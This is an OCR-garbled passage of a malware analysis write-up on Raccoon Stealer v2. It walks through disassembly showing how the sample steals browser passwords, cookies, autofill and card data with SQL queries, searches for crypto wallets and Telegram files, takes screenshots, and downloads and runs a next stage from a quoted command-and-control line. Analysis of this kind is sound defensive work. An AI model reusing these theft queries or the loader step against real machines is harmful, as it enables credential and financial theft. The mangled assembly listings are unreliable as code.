text:0B40998D call  formmating _text:80409A35 push ®
“texti004093C2 mov  ecx, accept text 00409437 push  eax
text:084099CE and [ebptvar_12], © _text:00409A38 push  ebx
- £ext:094099CC mov. [ebptvar_1C], ecx .text:08409A39 call  sending data
text:084000CF lea ecx, [ebpvar_14]
.text:08409902 mov. [ebptvar_14], eax

text: 88409905 call  str_format

That’s all with sstmnfo_ expected functionality. Lets explore the rest of the capabilities of the malware.

The malware then Loads sqlite3.d1l and call the function at sub_00403FAB . This function is basically allocates two

regions of memory and get the paths of %AppData% and %LocalAppData% directories and then transfer the flow to another

functions
.text:88483FBA mow edi, 228h
.text:08483FBF mow esi, edx
Stext:88483FC1 push edi
Ltext:@8483FC2 push 48h ; '@’
ctext:08483FC4 call eax ; _LocalAlloc
ctext:BB483FCE mov ecx, _LlocalAllec
.text:88483FCC mow ebx, eax
ctext:@B483FCE push edi
ctext:@B483FCF push 48h ; '@’
ctext:88483FD1 call ecx ; _LocalAlloc
ctext:88483FD3 push a
.text:88483FD5 push CSIDL LOCAL_APPDATA
ctext:88483FD7 push ebx
ctext:00483FD8 push a
.text:88483FDA mow edi, eax
ctext:88483FDC call _SHGetSpecialFolderPathid
ctext:@B483FE2 push a
ctext:B8483FE4 push CSIDL_APPDATA
ctext:BB483FEG push edi
ctext:BB483FE7 push a
ctext:BB483FE9 call _SHGetSpecialFolderPathid
ctext:BB483FEF mov edx, [ebptarg_4]
.text:88483FF2 mow ecx, ebx
Ltext:0R483FFL push a
Ltext:BB483FF6 push [ebp+a]
Ltext:0B483FF0 push esi
ctext:BB483FFA call sub_481B13 ; appData/Local
Ltext:BB4B3FFF mov edx, [ebptarg_4]
ctext:00484002 add esp, @ch
.text:08404005 mowv ecx, edi
ctext:00484007 push a
text: 00484009 push [ebp+a]
Ltext:048400C push esi
text: 00484000 call sub_48197C ; appData/Roaming

lets explore the first function call sub_401B13 . It recursively search for User Data directory and then goes to

sub_401E26 that have all the functionality. It first start looking for Local State file and reads it and search for
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"encrypted_key":" in it and in the same way, it did with stats_version":"
.text:88401066 mov ecx, [ebptvar_4]
.text:88481069 mov esi, encrypted_key ; “encrypted_key":™
.text:88401D6F mov [ebpt+arg_C], eax
.text:@8401072 call multi_byte_to_wide_char
.text:88401077 lea ecx, [ebptarg_C]
.text:ee481D7A mov edx, esi
.text:8848107C push ecx
.text:88401070 push ecx
.text:@e481D7E mov ecx, eax
. text : 08401080 call get kncrypted_key SERLE e e ) R
-text:00401DEB mow ecx, [ebptvar_4]
-text:00481DBE mow esi, stats_version ; stats_version":"
.text:@e401DC4 mow [ebptarg_C], eax
-text:0e481DC7 call multi_byte to_wide_char
-text:88481DCC lea ecx, [ebptarg (]
.text:88481DCF mowv edx, esi
-text:00401DD1 push 14
-text:00401DD2 push 14
.text: 88481003 Mo ecx, Sax
.text: 88481005 call get_specified key getthe stats_version from local state fle

Then, It starts to resolve some functions from sqlite3.d1ll to use them. And get the path to Login Data file and copies it

to another file.

Ltext:ee4828E7 push sqlite3_prepare_v2
Jtext:ee4828ED mow eax, _GetProcAddress
Jtext:ee4e28F2 push esi

Jtext:ee4e28F3 call eax ; _GetProcAddress
Jtext:ee4e28F5 push sqlite3_openl6
Jtext:ee4028FB mow sqlite3_prepare, eax
Jtext:ee4e2900 mow eax, _GetProcAddress
Jtext:ee4e2985 push esi

Jtext: 402906 call eax ; _GetProcAddress
Jtext:ee4e2908 push sqlite3_finalize
Jtext:ee4e290E mov sqlite3_open, eax
Jtext:ee4e2913 mov eax, _GetProcAddress
Jtext:ee402918 push esi

Jtext:ee4e2919 call eax ; _GetProcAddress
Jtext:ee4e2918 push sqlite3_close
Jtext:ee4e2921 mov sqlite3_finalize_, eax
Jtext: 0402926 mov eax, _GetProcAddress
Jtext: 0402928 push esi

Jtext:ee4e292C call eax ; _GetProcAddress
Jtext:8e48292E push sqlite3_step

text: 80482934 mov sqlite3_close_, eax
Jtext: 80482939 mov eax, _GetProcAddress
Jtext:8e48293E push esi

Jtext:8e48293F call eax ; _GetProcAddress
Jtext: 8482941 push sqlite3_column_textls
Jtext: 80482947 mov sqlite3_step_, eax
Jtext:8e48294C mov eax, _GetProcAddress
Jtext: 8482951 push esi

ctext: 80482952 call eax ; _GetProcAddress
ctext: 80482954 push sqlite3_column_byteslé
ctext: 80482954 mov sqlite3_column_text, eax
ctext:80848295F mov eax, _GetProcAddress
ctext: 80482964 push esi

ctext: 808482965 call eax ; _GetProcAddress
Ltext: 80482967 push sqlite3_column_blch
ctext: 80482960 mov sqlite3_column_bytes, eax
ctext:80482972 mov eax, _GetProcAddress
ctext:80482977 push esi

ctext:00482978 call eax ; _GetProcAddress
.text:88482974 mow edi, 288h

It opens a new database connection to Login Data copied file with sqlite3_open function call then it execute SQL

statement:

1 SELECT origin_url, username_value, password_value FROM logins

to steal the saved username & password and its associated origin URL

aa4a288F push 5]

2e402411 lea eax, [ebp+db statment_out]

e402414 push eax

2a4a2415 push BFFF h

Be402417 push db_url usr_pass ; SELECT erigin_url, username_value, password_value FROM logins
2402410 push [ebp+data_blob_b_array]

aa482428 call sqlite3_prepare

B402426 add esp, l4h

28402429 test eax, eax

2e48242B jz short loc_4@8284D
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Actually, To execute that SQL statement, sqlite3_step should be called. the return value of sqlite3_step can be
different so, it checks if the return value is 100 this means that there is another row of output is available. To retrieve the
content of the database a call to sqlite3_column_bytes16 that returns the size of the data and sqlite3_column_text16 to

the content as plain text

BR4B2A63 push 0 -— 0 00000 )

BB4B2A65 push [ebp+db_statment_out] /-' Get size of the first column
BR4B2A63 call sqlite3_column_bytesls

BR4B2AGE push 1 -

ae4p2ATe push [ebp+db_statment_out] '

Ba4B2ZATI mov esi, eax .

BR4B2ATS call sqlite3_column_bytesls «—— Getsizeofthe second column
BR4B2ATE push 2 tp—

Be4a2ATD push [ebp+db_statment_out] ’

[e4B2A80 mov ebpt+var_2C], eax 5 _
BBAB2AB3 call qu?tﬂ_colamn_byteslﬁ —+—— Getsize ofthe third column
BR4B2A39 add esp, 18h

Ba482A3C mov edi, eax

BR4B2ABE cmp esi, 1

80482491 jl loc_482C5B

BR4a2A97 cmp [ebpt+var_2C], 1

BR4B2A9B jge short loc_ 482886

Be4a2A90 cmp edi, 1

@B4B2AAG jl loc_482C5B

Ba482AAG

BR402AM6 loc_482AA6: ; CODE XREF: get_database+2D5tj
BR482AME push a

BR4B2AAE push [ebp+db_statment_out]

BR4B2AAB call sqlite3_column_textls ~

Ba482AE1 push 1 Get the text content of the columns
BR482AB3 push [ebp+db_statment_out]

BB482AB6 mav [ebp+var_28], eax

BR482AB9 call sqlite3_column_textls

After collecting these data it format it in the following form in a file \passwords.txt tosend it: URL:%s USR:%s PASS:%s

In the same way, It get the cookies using the SQL statment:

1 SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies

and format it in the following form in a file \cookies.txt tosendit: %s TRUE %s %s %s %s %s

It gets the autofill content name and value pairs in the same way using the SQL query

1 SELECT name, value FROM autofill

and saved the data to a file \autofill.txt to send it.

then, it reads the content of Web Data file to extract Credit Card information using the SQL query:

1 SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards

and format in the following form in a file \CC.txt tosendit: NUM:%s HOLDER:%s EXP:%s/%s and it did the whole thing
with the files in Default path for the browser

FireFox Browsers are a little bit different so, it collects the data from it but needs to do different steps. First it goes to

Profiles and search for cookies.sqlite and it opens it using sqlite3 and get the cookies using SQL query:

1 SELECT host, path, isSecure, expiry, name, value FROM moz_cookies

then, The login information from logins.json and dumping the passwords using PK11SDR_Decrypt function call.

Then, it goes to formhistory.sqlite to get the Autofill information using SQL query:
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1 SELECT fieldname, value FROM moz_formhistory

If the response has the word wlts_ then, the malware tries to collect all crypto wallets information from the victim.
Basically it navigate all the file system searching for a pattern. And in the same way, It navigate the whole system searching
for wallet.dat which is a bitcoin wallet. and if it found, sends it to the server.

il e =

text:ea48685E

.text:8840B05E loc_4@B@SE:

.text:8848B05E mov eax, _lstrcmph
Ltext: 08408063 lea ecx, [ebptvar_26@]

.text: 88486069 push offset awWalletDat ; "wallet.dat”
.text:8e48B06E push ecx

.text:ee48B06F call eax ; _lstrcmpi

text: 08488871 test eax, eax

Ltext: 8486073 jnz loc_48B267

Response be like:

1 wlts_exodus:Exodus;26;exodus;*; *partitio*, *cache*,*dictionar*
2 wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*
3 wlts_jaxx1:JaxxLiberty;26;com. liberty.jaxx;*;*cache*

If the response has the word grbr_ search for the specified file in the system and upload it to the attacker. the response be
like:

1 grbr_dekstop:%USERPROFILE%\Desktop\ |*.txt, *.doc, *pdf*|-|5]|1|@|files
2 grbr_documents :%USERPROFILE%\Documents\ |*.txt, *.doc, *pdf*|-|5|1|0|files
3 grbr_downloads : $USERPROFILE%\Downloads\ |*.txt, *.doc, *pdf*|-|5|1|0|files

The malware can collect Telegram Desktop application data if the response has the word tlgrm_ .

1 tlgrm_Telegram:Telegram Desktop\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*
Ltext:88489A9F push tlgrm__

Ltext:eed489A85 xor ebx, ebx

Ltext 88489247 mov [ebp+var_28], edx

Ltext:eeda9ann and [ebp+var_24], ebx

Ltext:e84a89A8D push ecx

Ltext 884894 call eax ; _Strstrid

Ltext:ee499AB0 mov edi, eax

Ltext:eed489AB2 test edi, edi

It search for a file specified in the response from the server and navigate to it and copy it to send to the attacker.
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Ltext:88489E5D
Ltext:88489E63
Ltext:88489E69
Ltext:88489E6C
Ltext:80489E78
Ltext:88489E75
Ltext:88489E77
Ltext:88489E7D
Ltext:88489E82
Ltext:88489E87
Ltext:88489E89
Ltext:88409E88
Ltext:88489E91
Ltext:88489E95
Ltext:88489E96
Ltext:8a489E97
Ltext:88489E98
Ltext:8e489E94
Ltext:8e489E9D
Ltext:88489EAL
Ltext:88489EA3
Ltext:88489EAG
Ltext:B8489EA8
Ltext:88489EAB
Ltext:B8489EAE
Ltext:88489EB1
Ltext:88489EEG
Ltext:88489ER9
Ltext:2e489EBA

tlgrm file(w23, vZ3,
if ( v3% > 0 )
| {

https://d01a.github.io/raccoon-stealer/

cmp [esp+29@h+var_224], 2Eh ; "'

j=z loc_484A896

mov edx, [ebptarg_2]

lea ecx, [esp+298h+var_224]

call path_match_cpy

test 2ax, eax . -
sz loc. 484096 Searchfnrmﬁr:.le;%euﬁedlnha
mov eax, _LlocalAllec

push 418h

push 4eh 3 '@"

call eax ; _LocalAlloc

mov ecx, _PathCombinel

lea edx, [esp+28Ch+var_22@]

push edx

push ebx

push eax

call ecx ; _PathCombinel
push [ebptarg_18]

mov edx, [esp+29@h+var_26C]
mov esi, eax

push [ebptarg_C]

mov ecx, esi

push [ebptarg_8]
push [ebptarg_4]
push [ebptarg_@]
call tlgrm_file

add esp, 14h
push esi
jmp loc_484@98

v43, w41, v40, w22, &v39);

vZ4 = LocalZlloc(c4,

w25 = LocalZlloc(o4, 520

random wrap = generate random wrap(v24, O=xllu);
v33 = random wrap;

v27 = StrCpyW(vZ5, another_content_type);
v32[1]1 = 0;

v36 = formmating(v27, random wrap):;

v32[0] = accept;
v37 = str_ format (&v36);

w28 = Localalloc(c4, 258);
v29% = WideCharTeMultiByte(c5001, 0, randem wrap, —.,
if ( w29 )
{
v30 = WideCharToMultiByte (65001, 0, random wrap,
vZ2 = wv38;
if ( w30 )

sending_data(v28, v34, 0,

0, ¥v39, v38, w37, v32);

-1, wvaa,

\ file searching function

Je 0y

v2%, 0, 0);

Sending data funclion

To take a screenshot the response should have the word scrnsht_ . First, It resolves APIs from GdiPlus.dll and

Gdi32.d11 to take a screenshot.
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Ltext:80488A2F mow GdipGetImageEncodersSize, eax
Ltext: 00468434 mow eax, _GetProcAddress
Ltext: 80488430 push esi
Ltext: 00468434 call eax ; _GetProcAddress
Ltext:88488A3C push dword_48EACC
Ltext: 80408442 mow GdipCreateBitmapFromHBITMAP, eax
Ltext: 00408447 mow eax, _GetProcAddress
Ltext:8048844C push esi
Ltext: 004838240 call eax ; _GetProcAddress
Ltext:0048844F push dword_48EB2C
Ltext: 88488455 mow GdipSaveImageToFile, eax
Ltext:00488A5A mow eax, _GetProcAddress
Ltext:@B488A5F push edi
Ltext: 00403460 call eax ; _GetProcAddress
Ltext: 20488462 push dword_4B8EBGS
.text:88488468 mow BitBlt, eax
Ltext: 00483460 mow eax, _GetProcAddress
Ltext: 08488472 push edi
Ltext: 28488473 call eax ; _GetProcAddress
Ltext: 88488475 push dword_48EABC
Ltext: 80488478 mow CreateCompatibleBitmap, eax
Ltext: 00403480 mow eax, _GetProcAddress
Ltext: 88488485 push edi
Ltext: 80488426 call eax ; _GetProcAddress
Ltext: 00488428 push dword_48EB38
Ltext:8B488A3E mow CreateCompatibleDC, eax
Ltext: 28488493 mow eax, _GetProcAddress
Ltext:00488408 push edi
Ltext:00488499 call eax ; _GetProcAddress
Ltext: 00488408 push dword_48EC54
Ltext: 20488441 mow DeleteObject, eax
Ltext: 00488446 mow eax, _GetProcAddress
Ltext:00488L4AR push edi
Ltext:884884AC call eax ; _GetProcAddress
Ltext:@0488AAE push dword_48EAAR
Ltext:00408AB4 mow GetObjectW, eax
Ltext:004884B9 mow eax, _GetProcAddress
Ltext:@0488ABE push edi
Ltext:@0488ABF call eax ; _GetProcAddress
All APIs resolved:

1 GdiplusStartup

2 GdipDisposeImage

3 GdipGetImageEncoders

4 GdipGetImageEncodersSize

5 GdipCreateBitmapFromHBITMAP

6 GdipSaveImageToFile

7 BitBlt

8 CreateCompatibleBitmap

9 CreateCompatibleDC
10 DeleteObject
1" GetObjectW
12 SelectObject
13 SetStretchBltMode
14 StretchBlt
15 DC

The malware uses these APIs to take a screenshots from the victim system and send them to the attacker

Get JPag Funcion

The malware can drop a next stage malware specified in the response from the server containing ldr_

1 ldr_1:http://94.158.244.119/U4N9B5X5F5K2A0L4L4T5/84897964387342609301.bin|%TEMP%\ |exe
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The malware open a connection to the server and download the content of the file specified in the response to the system

_text:004882CD mov

Ltext:ee48s82D02 Mo
Ltext:88488208 Mo
Ltext: 8488200 Mo
Ltext:884882E3 CMoVZ
Ltext:004882E6 push
Ltext:004082E8 push
Ltext: 00408260 push
Ltext:004882EC call
Ltext:004082EE push
Ltext:004082EF push
Ltext:004082F2 push
Ltext:004082F3 push
Ltext:004882F6 call
Ltext:884882F8 Mo
Ltext:@84882FA test
Lext:ead@s2rC jz
Ltext:884882FE mow
Ltext: 88488384 xor
Ltext: 08408306 push
.text:0e4p3387 push
Ltext:ee48830C push
Ltext:0040830E push
Ltext:0040830F push
Ltext: 00488310 push
Ltext: 88488315 push
Ltext: 00408318 call
Ltext:@848831A mow
Lext:ead8s31C cmp
Ltext:ea483831F jz
Ltext:ee488321 mow
Ltext:08408327 lea
Ltext:ee48832A push
Ltext:0e488328 push

Ltext:ee488330 lea

Ltext: 88488336 push
Ltext: 88488337 push
Ltext: 88488338 call

eax, S54Ce6880h

edx, _lstrleni

ecx, S54488888h

esi, _InternetOpenUrli
ecx, eax

2]

ecx

[ebpt+var_&]

edx ; _lstrlenw

eax

[ebpt+var_&]

edi

[ebpt+var_4]

esi ; _InternetOpenUrli
edi, eax

edi, edi

short loc_48337A

ecx, _CreateFileW
eax, eax

eax

206868@h

2

eax

eax

4p680080h

[ebp+arg_@]

ecx ; _CreateFilel
esi, eax

esi, BFFFFFFFFh

short loc_48337A

ecx, _InternetReadFile
eax, [ebp+var_4]

eax

2@eh

eax, [ebp+var_38C]
eax

edi

ecx ; _InternetReadFile

Downloading the next stage
file to the system

The malware then execute the downloaded file using ShellExecute API call

il s (5

Ltext:ee4873CC push ebx
Jtext:@e4@73C0 push ebx
Jtext:@8@4@73CE push [ebp+var_8]
Jtext:@e4@73D1 push [ebp+var_C]
Jtext:ee4@7304 push offset alpen
Jtext:ee4@7309 push ebx
Jtext:ee4873DA call _ShellExecutel

"open”

That’s all, The malware clear the files that created and release the allocated memory regions
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Jtext:88487952 loc_487932: ; CODE XREF: start+4FL1Tj
Ltext: 88407082 push [ebp+F_content_type]

.text:808487985 call _LocalFree

.text:08487986 mov ecx, edi

Ltext:ee4e798D call Ldr

Ltext: 884087092 mowv eax, [ebp+hlibModule]

Ltext:8e8487995 mov esi, ds:FreeLibrary

Ltext:ee48799B6 test eax, eax

Ltext:@e487990 jz short loc_4879A2

.text:8048799F push eax 3 hLibModule
Ltext:ee487940 call esi ; FreelLibrary

LLext:eed4e7oAz

Ltext:@84879A2 loc_4B79A2: ; CODE XREF: start+517tj
Ltext:8e4879A2 push [ebp+victim_info]

Ltext:@e487945 call _DeleteFilel

Ltext:@e4079AB push [ebp+victim_infea]

Ltext:@84070AE call _LocalFree

.text:ee487964 mov eax, [ebp+hmodule _sgqlite3]
Ltext:ee487967 test eax, eax

Ltext: 88407989 jz short loc_4@79BE

.text:804879B8 push eax 3 hLibModule
.text:884879BC call esi ; FreelLibrary

Lext:ee4879BE

.text:884879BE loc_4879BE: ; CODE XREF: start+5331j
.text:8684879BE mov esi, [ebptvar_1@]

Jtext:@e4e79C1 push esi

Ltext: 88407902 call _DeleteFilel

Ltext:804879C3 push esi

Ltext:8e4879C9 call _LocalFree

Jtext:@e4e79CF push edi

Ltext:@84087008 call _LocalFree

Ltext:ee4879D6

.text:88487906 loc_4@7906: ; CODE XREF: start+2E3Tj
Ltext:@8407906 push [ebp+AppData_and_machineIld prev]
.tewt:00407009 call _LocalFree

.text:8e848790DF push ebx

Jtext:@ed4e79E0 call _LocalFree

Ltext:@84079E6 push a

Ltext:864879E3 call _ExitProcess

¢ sha256: 022432£770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03
e 51.195.166[.]184
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https://bazaar.abuse.ch/sample/022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03/

https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/

https://www.sqlite.org/c3ref/funclist.html

https://www.sqlite.org/rescode.html

Source: https://d01a.github.io/raccoon-stealer;
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